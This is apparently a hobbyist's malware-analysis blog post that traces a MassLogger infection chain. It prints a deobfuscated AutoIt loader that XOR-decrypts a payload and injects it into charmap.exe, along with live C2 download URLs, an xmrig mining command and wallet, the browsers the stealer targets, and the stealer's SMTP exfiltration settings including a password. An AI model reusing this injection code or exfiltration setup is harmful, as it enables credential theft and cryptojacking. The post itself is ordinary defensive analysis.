MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)
Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.
There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.
This is the malware flow I made while analyzing the malware:
NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don't want to repeat it every time. At the top you can see a binary file named "sqNnY.bin", it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted "aLlTeucWnrhechxHC.bin", first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next "installer" is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:
#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce
Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)
Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit
Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next
Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]
If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)
Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named "nwekwowlwhwcogczoft".
"nwekwowlwhwcogczoft" is simple C2 that can do 3 things "exit", "update", "stealer".
Simple and clear flow:
- Checks if "Software\rub" registry is written, if it is not created, tries to download "http://176.98.187.46:1778/stealer"
- Checks if the size of "stealer" more than 1000000, if yes, executing it. else pass.
- if "Software\rub" was not created, creates it.
- Checks if a file named "paygab" exists in %LOCALAPPDATA%, if so, xor it with "0x60" and execute it.
- if paygab doesn't exist, downloads "http://176.98.187.46:1778/miner" and executes it.
- miner will check if "sigverif.exe" is running, if so terminates it.
- Opens new "sigverif.exe" process, allocates space, writes the open source project named xmrig to be able to mine.
- Executes command:
C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"
NOTE: This is new malware sample, as I was first person to submit this sample to virustotal and malware bazaar
- Going back to "nwekwowlwhwcogczoft", after trying these things, it checks status of our machine by using InternetOpenUrl API "http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx" (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands "stealer"/"custom" (same thing), "exit", "update".
- why "stealer/custom" can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
- other 2 "exit" and "update" are obvious, what they are.
There is a few possible case in our situation:
- the fake stealer is to take time of reverse engineers/malware analysts.
- it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc. or the attacker itself chooses which machines to send the real stealer. (most realistic case)
This was end of the "nwekwowlwhwcogczoft" executable.
The real deal was actually, "sqNnY.bin". Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After "xor"-ing it with the key even after you check the file type, it says "not a PE file". Also there is no "MZ" at the first 2 bytes of file. After a little, let' say "OSINT", I found out the "pe to shellcode" project was used for doing this: pe_to_shellcode. A free but powerful project.
"The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer's ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE."
The point is, it really makes 0 sense when you look at the file, it is just a bunch of bytes. There is literally not a single string, not even "This program cannot be run in DOS mode" (because it is shellcode not PE). But the thing is, it is possible to manually extract malware. It was not that hard as I could find some APIs used by shellcode, like VirtualAlloc, memset, etc.
I could extract malware and check in virustotal, if the malware is submited before and I was the first person to submit it too. malware bazaar and virustotal
It is .NET 32-bit executable with 0 encryption. and the funny part is malware developers choose this as their signature:
As it is not encrypted or anything I will just basically list what is can does and end it here:
-
Checks if user (victim) is expired by comparing time to "2025-02-15" (if yes exit)
-
runs through 3 empty functions, probably not implemented by malware dev for now: UltraSpeed.Taskmgr_Disabler(); UltraSpeed.CMD_Disabler(); UltraSpeed.Registeries_Disabler();
-
Tries to steal data from these browsers:
Chrome_Speed
Torch_Speed
CocCoc_Speed
QQ_Speed
xVast_Speed
QIPSurf_Speed
Microsoft_Speed
Chromium_Speed
Blisk_Speed
Brave_Speed
Nichrome_Speed
Kometa_Speed
Superbird_Speed
Opera_Speed
Comodo_Speed
Cent_Speed
Chedot_Speed
Ghost_Speed
Iron_Speed
UC_Speed
BlackHawk_Speed
Citrio_Speed
Uran_Speed
Falkon_Speed
Sputnik_Speed
CoolNovo_Speed
Chrome_Canary_Speed
Sleipnir_Speed
Kinzaa_Speed
Amigo_Speed
Epic_Speed
e360_English_Speed
e360_China_Speed
Vivaldi_Speed
Xpom_Speed
orbitum_Speed
Iridium_Speed
SevinStar_Speed
Outlook_Speed
Foxmail_Speed
FireFox
SeaMonkey
IceDragon
Thunderbird
FileZilla_Speed
WindowsKey_Speed
- sends these data using these:
private static string TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(UltraSpeed.StrSignature + " \r\n\r\n\r\n==========PC INFO==========\r\nClient Name:" + Environment.MachineName, Operators.AddObject("\r\nFullDate: ", UltraSpeed.INFO_Date_Time())), "\r\nIP: " + UltraSpeed.INFO_SystemIP()), Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nCountry: ", UltraSpeed.INFO_Country()), "\r\n"), "==========PC INFO==========")));
private static string Host_Sender = "voiper@tamre.it";
private static string Host_Password = "KFRKgMrNoiIF";
private static string Host_Server = "mailserver12.vhosting-it.com";
private static string Host_Receiver = "remiset@remisat.com.uy";
private static string Host_Port = "465";
NOTE: the data I am talking about is usernames and passwords.
That is all for this analysis.